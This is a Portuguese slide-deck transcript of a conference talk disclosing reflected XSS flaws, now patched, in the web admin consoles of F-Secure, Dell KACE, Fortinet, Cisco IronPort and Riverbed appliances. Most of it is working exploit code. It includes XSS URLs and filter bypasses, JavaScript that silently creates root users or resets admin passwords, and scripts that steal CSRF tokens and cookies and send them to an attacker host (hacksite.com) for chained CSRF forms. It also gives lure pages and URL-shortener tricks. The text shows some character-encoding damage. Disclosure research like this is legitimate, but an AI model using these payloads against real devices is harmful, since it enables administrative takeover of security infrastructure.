Hacking em consoles webs de security appliances, h2hc-rev-2

Hacking em Consoles WEBs de Security Appliances

By

William Costa

Sim, eu sou CISSP L Sem

William Costa Consultor em Segurança da Informação.

C|EH, E|CSA, CPT, CEPT, LPI, CISSP

Topologia atual das redes.

WAF Security Gateways

Firewall SandBox

Web FIlter

DB Security

Quanto mais melhor ?

Temos soluções de Segurança com XSS ou seus Variantes? •  Essa foi uma das perguntas que me fiz, acreditava que não...

•  Inicio da Pesquisa: 30/10/2013

Por que XSS ?

As consoles WEBs (GUI) estão em praVcamente todos os produtos de segurança do mercado atual. Poderia listar vários outros moVvos, porém o mais verdadeiro é que não sei programar nada além de shell (se é que posso chamar de programar), para tentar Buffer Overflows L.

O XSS aparece no top 10 do OWASP desde seu primeiro relatório.

OWASP Top 10 – 2003 Top VulnerabiliVes in Web ApplicaVons A1 Unvalidated Parameters A2 Broken Access Control A3 Broken Account and Session Management A4 Cross-‐Site Scrip7ng (XSS) Flaws A5 Buffer Overflows A6 Command InjecVon Flaws A7 Error Handling Problems A8 Insecure Use of Cryptography A9 Remote AdministraVon Flaws A10 Web and ApplicaVon Server MisconfiguraVon

E após 10 Anos ele conLnua entre os 10

•  OWASP Top 10 – 2013 (New) •  A1 – InjecVon •  A2 – Broken AuthenVcaVon and Session Management •  A3 – Cross-‐Site Scrip7ng (XSS) •  A4 – Insecure Direct Object References •  A5 – Security MisconfiguraVon •  A6 – SensiVve Data Exposure •  A7 – Missing FuncVon Level Access Control •  A8 – Cross-‐Site Request Forgery (CSRF) •  A9 – Using Known Vulnerable Components •  A10 – Unvalidated Redirects and Forwards

Vamos deixar as coisas mais interessantes.

Os pré-‐requisitos estabelecidos foram: •  Não usar ferramentas para automaVzar essa tarefa. •  Qualquer produto de segurança que eu Vvesse acesso. •  Tem que gerar um CVE para ser adicionado a “pesquisa”.

E o Principal : •  Algumas dão Acesso administraVvo ao Appliance .

Chega de teoria e vamos a Diversão.

########################################## # Todas as Vulnerabilidades apresentadas, já foram # # Corrigidas pelos seus respecLvos Fabricantes # ##########################################

F-‐Secure, Bem que tentaram J. (CVE-‐2014-‐2844)

Alvo : •  F-‐Secure Messaging Security Gateway (V7.5.0.892) Resultado: Um Reflected XSS no parâmetro “new” na pagina de criação de usuários administraVvos.

XSS no parâmetro new.

• hqps://IP_FSecure:10000/admin?module=SysUser&method=user&new=1><script src=//10.0.1.120/f-‐secure/e.js

Resultado.

Proteções. •  É possível inserir o JS no parâmetro new, mas, ocorre um filtro de um conjuntos de tags, palavras ou caracteres.

Exemplos: “<script>” “</script>” “document.cookie” “hqp/s” •  Também temos a proteção de iframe com o envio do response header X-‐Frame-‐Op:ons que impede a abertura de um Iframe em outro domínio.

Bypass. •  Como a nosso script é inserido no final da tag input, então podemos enviar nosso script sem fechar a tag (>) do script, assim damos bypass no filtro da tag. •  Para o Bypass o filtro hKp e hKps vamos u:lizar o protocolo rela:vo, suprimindo assim o protocolo e deixando o browser u:lizar o da pagina principal

A url ficou assim: /admin?module=SysUser&method=user&new=1><script src=//10.0.1.120/f-‐secure/e.js •  Para bypass X-‐Frame-‐Op:ons foi criado um Iframe dentro da pagina vulnerável para esconder o exploit.

De onde saiu esse novo usuário!? J

Pré-‐requisitos: • Conhecer o IP interno de administração do Appliance (ou se for acessível a administração do IP externo, conhece-‐lo). • O Administrador tem que estar com login valido no portal de administração (Sessão estabelecida/aVva), quando acessar o link que controlamos com o código malicioso.

Link com o código malicioso . Esse Iframe dentro da aplicação vulnerável é usado para esconder ação do nosso exploit. hqps://10.0.1.120/f-‐secure/a.js document.write("<iframe width=0 height=90000 frameborder='0' src='hKps://10.0.1.120/f-‐secure/index_poc.php' > </iframe>"); document.write("<body onload='top.scrollTo(0,20000)'>");

func:on append(csrf) { window.loca:on.replace("hKps://10.0.1.120/f-‐secure/ganhou.html");

} setTimeout("append(\":meout\")", 6500);

Código do index_poc.php e exploit.js. Index_poc.php: <html> <body> <iframe frameborder='0' src='hqps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script src=//10.0.1.120/f-‐secure/exploit.js'> </iframe></body> </html>

exploit.js //Create tag input with Id of user that was break by XSS

document.write("<input id='id' name='id' value='user.exploit'>"); //Set values in input with password and role funcVon append(csrf) {

document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit(); }

setTimeout("append(\"Vmeout\")", 1000);

Vez da DELL.(CVE-‐2014-‐0330)

Alvo : • Dell KACE K1000 Version: v5.5.90545. Resultado: Um Reflected XSS no parâmetro “ID” na pagina de configuração de usuários administraVvos.

XSS no parâmetro ID .

• hqp://ip_KACE/adminui/user.php?ID=10">]</a><script>alert("XSS");</script>&&PAGE=2

Resultado.

Proteções. •  Foi possível inserir o comando em JS no parâmetro ID, porém... ...Não achei nenhuma validação neste campo L. Eles confiam de mais na proteção da flag HqpOnly do cookie e no token de proteção contra CSRF. Será que devem ?

Bypass.

• Na pagina onde ocorre a falha de XSS, é possível alterar a senha do administrador atual sem o conhecimento da senha anterior. J

• Não precisamos nos preocuparmos com a Flag HqpOnly ou o Token de proteção contra CSRF, só precisamos que o nosso exploit preencha o campo de password e envie a nova senha.

GAME OVER!!!!

Alterando a Senha do Admin sorrateiramente.

Pré-‐requisitos:

• Os mesmos anteriores. J

Use a imaginação para fazer ele acessar o seu link. • hqp://10.0.1.120/kace/xss.php Code da pagina: <html> <body> <h1> Site Seguro</h1> <iframe src='hKps://pub12-‐124.env.cloudshare.com/adminui/user.php?ID=10">]</a><script src="hKps://10.0.1.120/kace/teste.js"></script>' width="1" height="1" frameborder="0"></iframe> </html> </body>

Conteúdo do nosso teste.js.

•  teste.js Código do JS: func:on append(csrf) { document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456"; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456"; document.UserForm.submit(); } setTimeout("append(\":meout\")", 1000);

Sim só isso! Fácil não ?! Levei 8 horas para fazer funcionar L

Vídeo do POC.

ForLnet, ai vamos nós. J (CVE-‐2013-‐7182)

Alvo: •  Firewall ForVnet • Version 5.0.5 . Resultado: Um Reflected XSS no campo “mkey ” na pagina de configuração dos schedules das regras. Tempo Percorrido 08:30:00

XSS no parâmetro mkey .

• hqp://IP_ForVgate/firewall/schedule/recurrdlg?mkey=a"><script>alert("xss");</script>

Resultado.

Proteções.

•  Foi possível inserir o comando em JS no parâmetro mkey, porém, em vários retornos do código em html ocorreram escapes •  <input type=hidden name="mkey" id="mkey" value="a"><script>alert("XSS");</script>"> • Mas, em um campo do form montado para ser enviado via post não ocorre o tratamento:

<form method=post name=sch_dlg acVon=/firewall/schedule/recurradd onsubmit="return sch_check()"><table><tr><td>Name</td><td><input type=text name=name id=name size="50" maxlength="31" onfocus="this.select()" value="a"><script>alert("XSS");</script>">

Bypass.

•  Token CSRF é armazenado em um Cookie sem a Flag HqpOnly habilitada, deixando assim disponível um ataque de CSRF para quem Vver acesso ao Cookie com o Token.

ConLnua não dando a mínima para os XSS's? Criando um usuário como magica. Pré-‐requisitos: •  A essa altura vocês já entenderam

Bypass CSRF Token .

• O Token CSRF é inserido dentro do COOKIE e o mesmo não tem a flag HqpOnly habilitada J

Encurtador de URL é nosso Amigo. Não esqueça! • URL encurtada: hqp://zip.net/bglvKd • URL Original: hqp://IP_FORTIGATE/firewall/schedule/recurrdlg?mkey=a"><SCRIPT SRC="hqp://hacksite.com/xss/good.js"></SCRIPT>

Conteúdo do Arquivo GOOD.JS .

var o_cookie = document.cookie; var o_cookie_array = o_cookie.split(";"); var a_data = unescape(o_cookie_array[1]); var a_data_array = a_data.split ("=" ); var token = unescape(a_data_array[1]);

window.loca:on.replace("hKp://hacksite.com/xss/cookie.php?cookie=" + encodeURIComponent(token));

Conteúdo do Arquivo cookie.php .

<? $file = "cookies.txt"; unlink($file); if (isset($_GET["cookie"])) {$handle = fopen($file, 'a');fwrite($handle, "\r\n" . $_GET["cookie"]);fclose($handle);

} ?> <iframe src="hqp://hacksite.com/xss/index_poc.php" width="1" height="1" frameborder="0"></iframe>

Conteúdo do Arquivo index_poc.php . <html> <body onload="CSRF.submit();”> <html> <body onload="CSRF.submit();"> <?php $lines = file ('cookies.txt'); $dados = explode('"',$lines[1]); $matrizDeDados[] = $dados; foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> ….

Vídeo do POC.

Cisco, Se Apronte que Hoje vou lhe usar. (CVE-‐2014-‐3289)

Alvo: • Cisco Ironport Web Security Virtual Appliance • Version 7.7.5-‐190 ( UlVma disponível). Resultado: Um Reflected XSS no campo “date_range ” na pagina de ReporVngs por usuários. Tempo Percorrido 18:30:00

XSS no parâmetro date_range.

• hqps://ip_cisco_web_security/monitor/users?printable=False&date_range=aaaaa"><script>alert(2)</script>

Resultado.

Proteções.

•  Foi possível inserir o comando em JS no parâmetro date_range, porém, em vários retornos do código em html ocorreram escapes •  <span onclick="SecVonExport('hqps://10.200.210.5:8443/monitor/users?date_range=aaaaa%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E> • Mas, em um campo de input não houve o tratamento: <input type="hidden" id="current_date_range" value="aaaaa"><script>alert(2)</script>">

Bypass.

•  Token CSRF é armazenado em uma variável do javascript, mesmo em uma tela (pagina) que não tem dados a serem enviados J, permiVndo assim a captura do Token para auxilio em um ataque de CSRF. • Para alteração da senha do usuário de administração não é necessário o conhecimento da senha anterior.

Acabando com a sanidade do Admin, alterando sua senha. J Pré-‐requisitos: •  ....

O Token CSRF no código é Seguro?.

• Vamos obter o Token de proteção do CSRF dentro do código HTML

O bom e velho Encurtador de URL.

• URL encurtada: hqp://goo.gl/kvonk6 • URL Original: hqps://10.200.210.5:8443/monitor/users?printable=False&date_range=aaaaa"><script src="hqps://10.0.1.120/cisco-‐ironport/bad.js">

Conteúdo do Arquivo BAD.JS . func:on append(csrf) { //localiza dentro de uma tag script o token csrf e coloca na variável csrf csrf = document.getElementsByTagName('script').item(20).textContent //quebra conteúdo do csrf e obtém apenas o token valido var o_cookie = csrf; var o_cookie_array = o_cookie.split("="); var a_data = unescape(o_cookie_array[2]); var a_data_array = a_data.split ("&" ); var token = unescape(a_data_array[0]); //envia o token a o server window.loca:on.replace("hKps://10.0.1.120/cisco-‐ironport/cookie.php?cookie=" + encodeURIComponent(token)) } //executa após 2000 para aguardar a finalização do carregamento da pagina setTimeout("append(\":meout\")", 2000);

Conteúdo do Arquivo cookie.php . <?

//le o arquivo de teste a procura do token $file = "cookies.txt"; unlink($file); if (isset($_GET["cookie"])) {$handle = fopen($file, 'a');fwrite($handle, "\r\n" . $_GET["cookie"]);fclose($handle); }

?> <center><p><h1>Ganhou seu XBOX<h1></p></center>

<br> <br>

<!-‐-‐ chama a pagina que envia os dados ao alvo. -‐-‐> <iframe src="hqps://10.0.1.120/cisco-‐ironport/index-‐ironport.php" width="1" height="1”

frameborder="0"></iframe> <script>

funcVon append(csrf) { //cria um iframe após 2 segundos para enviar commit changes as alteracoes document.write('<iframe src="hqps://10.0.1.120/cisco-‐ironport/save-‐ironport.php" width="1" height="1" frameborder="0"><iframe>') } setTimeout("append(\"Vmeout\")", 2000);

</script>

Conteúdo do Arquivo cisco-‐ironport/index-‐ironport.php. <?php // Le um arquivo em um array. $lines = file ('cookies.txt'); $matrizDeDados[] = $lines; // recolhe valores da linha foreach ($matrizDeDados as $linhas){ token = $linhas[1]; } ?> <form id="CSRF" acVon="hqps://10.200.210.5:8443/system_administraVon/access/users" method="post" name="CSRF"> <input name="acVon" value="AddEdit"> </input> <input name="screen" value="system_administraVon.access.users"> </input> <input name="page" value="set"> </input> <input name="isEdit" value="true"> </input> <input name="userName" value="admin"> </input> <input name="fullName" value="aaaa"> </input> <input name="group" value="admin"> </input> <input name="passwd" value="123456789"> </input> <input name="retypePassword" value="123456789"> </input> <input name="CSRFKey" value="<?php echo $token;?>"> </input> </form>

Conteúdo do Arquivo cisco-‐ironport/save-‐ironport.php. <?php // Le um arquivo em um array $lines = file ('cookies.txt'); //separa os dados da linha especifica //$dados = explode('"',$lines[1]); //aramazena valores da linha no array //$matrizDeDados[] = $dados; $matrizDeDados[] = $lines; // recolhe valores da linha foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } echo $token; ?> <form id="CSRF" acVon="hqps://10.200.210.5:8443/commit" method="post" name="CSRF"> <input name="acVon" value="Commit"> </input> <input name="screen" value="commit"> </input> <input name="logout" value=""> </input> <input name="comment" value=""> </input> <input name="CSRFKey" value="<?php echo $token;?>"> </input> </form>

Vídeo do POC.

RiverBed, Quase desisL de você. (CVE-‐2014-‐5264). Alvo: • RiverBed SVngray Traffic Manager Virtual Appliance • Version 9.6 . Resultado: Um Reflected XSS no campo “logfile” na pagina de download dos logs. Tempo Percorrido 12:30:00

XSS no parâmetro logfile.

• hqps://ip_riverbed/apps/zxtm/locallog.cgi?logfile=aaaa<script>alert(document.cookie);</script>

Resultado.

Proteções.

•  Em varias tentaVvas de inserir um JS valido a aplicação sempre tratava os dados. •  <div class="box right help" onclick="javascript:helpWindow( 'aaaa\x3cscript\x3ealert\x282\x29\x3c\x2fscript\x3e' ); return false;"> • Porém, no link de download dos logs o retorno de erro usa como variável o nome do log que pode ser alterado pelo usuário:

<div style="padding: 0; font-‐weight: bolder; font-‐size: 1em; font-‐family: Courier New, Courier, monospaced, fixed;"><p>Bad log file aaaa<script>alert(document.cookie);</script></p></div>

Bypass.

• Neste caso para Bypass da proteção contra CSRF e a Flag HqpOnly, são uVlizados dois iframes o primeiro para injetar o código malicioso na variável vulnerável e o segundo para requisitar a pagina de criação de novos usuários administradores e interagir com os campos preenchendo-‐os • Como o primeiro iframe e o segundo são da mesma origem não somos barrados pelo SOP J.

Novo admin?! que admin ? . J

Pré-‐requisitos: •  ...

XFS (Cross Frame ScripLng) é de Comer ?

•  XFS é interação entre Frames de Domínios diferentes ocorrendo por uma falha no browser já que por default isso não deveria ocorrer. •  Já que a pagina onde ocorre a vulnerabilidade não consta com nenhum dado que podemos explorar. •  Iremos criar um Iframe nesta página que o endereço de desVno é a página de criação de novos usuários administradores do appliance.

•  Obs.: Esse exploit não é um XFS ou Bypass de SOP já que ocorre no mesmo domínio.

Iframe Hidden.

• O Nosso exploit vai ser chamado via um iframe escondido em uma pagina.

<html> <body> <h1> Bem vindo ao site seguro</h1> <iframe width=0 height=0 frameborder=0 src='hKps://10.200.210.108:9090/apps/zxtm/locallog.cgi?logfile=aaaa"><script src=hKps://10.0.1.120/riverbed/exploit.js></script>'></iframe> </body> </html>

Conteúdo do Arquivo exploit.js. document.write('<iframe width=0 height=0 name="xss" src="hqps://10.200.210.108:9090/apps/zxtm/index.fcgi?secVon=Access Management:LocalUsers"></iframe>');

funcVon append(csrf) {

window.frames['xss'].document.getElementsByName('form_newusername')[0].value = "user_exploit";

window.frames['xss'].document.getElementsByName('form_password1')[0].value = "123456";

window.frames['xss'].document.getElementsByName('form_password2')[0].value = "123456";

window.frames['xss'].document.getElementsByName('form_create_user')[0].click();

}

setTimeout("append(\"Vmeout\")", 2500);

Vídeo do POC.

Resultados

•  32 Pedidos de CVEs para vulnerabilidades em Consoles WEB Em: •  26 produtos De: •  15 Vendors CVEs até o momento: •  29

•  Todas as marcas registradas e de propriedade de seus respecVvos donos.

Conclusão.

• Nem sempre “quanto mais melhor”.

• Não precisa de muito tempo e esforços, para encontrar simples XSS em consoles WEBs dos gateways de segurança. • As proteções existem, porém são insuficiente para serem realmente efeVvas.

Hacking em consoles webs de security appliances, h2hc-rev-2

Technology

Transcript of Hacking em consoles webs de security appliances, h2hc-rev-2